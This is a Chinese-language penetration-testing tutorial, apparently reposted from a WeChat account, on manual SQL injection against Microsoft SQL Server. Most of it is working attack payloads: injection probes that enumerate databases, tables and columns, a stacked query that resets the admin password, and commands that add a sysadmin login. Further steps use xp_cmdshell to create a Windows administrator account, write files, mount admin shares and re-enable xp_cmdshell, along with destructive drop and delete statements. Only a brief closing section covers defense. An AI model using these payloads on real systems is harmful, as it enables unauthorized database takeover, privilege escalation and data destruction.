[干货]手工注入mssqlserver从基础到高级操作

作者：渗透云笔记

原文链接：https://mp.weixin.qq.com/s/F8DKaoqEsTNjUkwg4rpy2g

文章 来源： 渗透云笔记

手工注mssqlserver

1.判断注入点：

'

and 1=1 返回正常

and 1=2 返回错误

2.判断版本号： nt5.2:win2003 nt6.1:win7

winver

and @@version>0

3.判断当前连接的数据库用户and user >0

4.判断当前连接数据库:

and db_name()>0

5.判断其它库： 修改dbid值 and (select name from master.dbo.sysdatabases where dbid=6)>0

6.判断表名： and (select top 1 name from sysobjects where xtype='u' and status>0)>0

7.判断其它名：

and name not in('t_jiaozhu')

加到第6条语句最后一个括号前：

and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('t_jiaozhu'))>0

8.判断列名：

and (select Top 1 col_name(object_id('admin'),1) from sysobjects)>0

9.判断值：

and (select username from admin)>0

10.修改密码：

;update article.dbo.admin set password='bbbbbb' where username='admin';--

mssqlserver高级操作

一 数据库提权： sa==system>administrator

1.新建数据库用户：

;exec master..sp_addlogin hyq,888888;--

2.查看数据库用户：

程序-mssqlserver--企业管理器--安全性--登录： 刷新

3.提权： hyq用户加入sysadmin组

;exec master..sp_addsrvrolemember hyq,sysadmin;--

4.获取sa口令：

sqlmap.py -u "注入点" --passwords

利用漏洞：

数据库的连接工具： navicat for mssql

查询分析器：

delete from tbname

drop database dbname

drop tablename tbname

二 操作系统提权

1.新建系统用户：

;exec master..xp_cmdshell 'net user txl1988 888888 /add'

2.提权：

;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'

漏洞利用：

1.远程桌面： mstsc

2.ipc空连接：

net use \\ip\ipc$

输入用户名，密码

net use k: \\ip\c$

三 向系统写文件

;exec xp_cmdshell 'echo aaaa>c:\a.txt'

a.bat

:1

start iexplore.exe

goto 1

四 防护xp_cmdshell

1.删除:xplog70.dll

;exec master..sp_dropextendedproc 'xp_cmdshell'

2.恢复：

;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'

sqlserver2005及以上版本

恢复：

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure

终极防护： 防未公布漏洞： 基于cmdshell反弹

%system%system32\cmd.exe 删除所有默认权限，添加administrator： 完全控制

END

你可能喜欢

利用MSSqlserver xp_cmdshell提权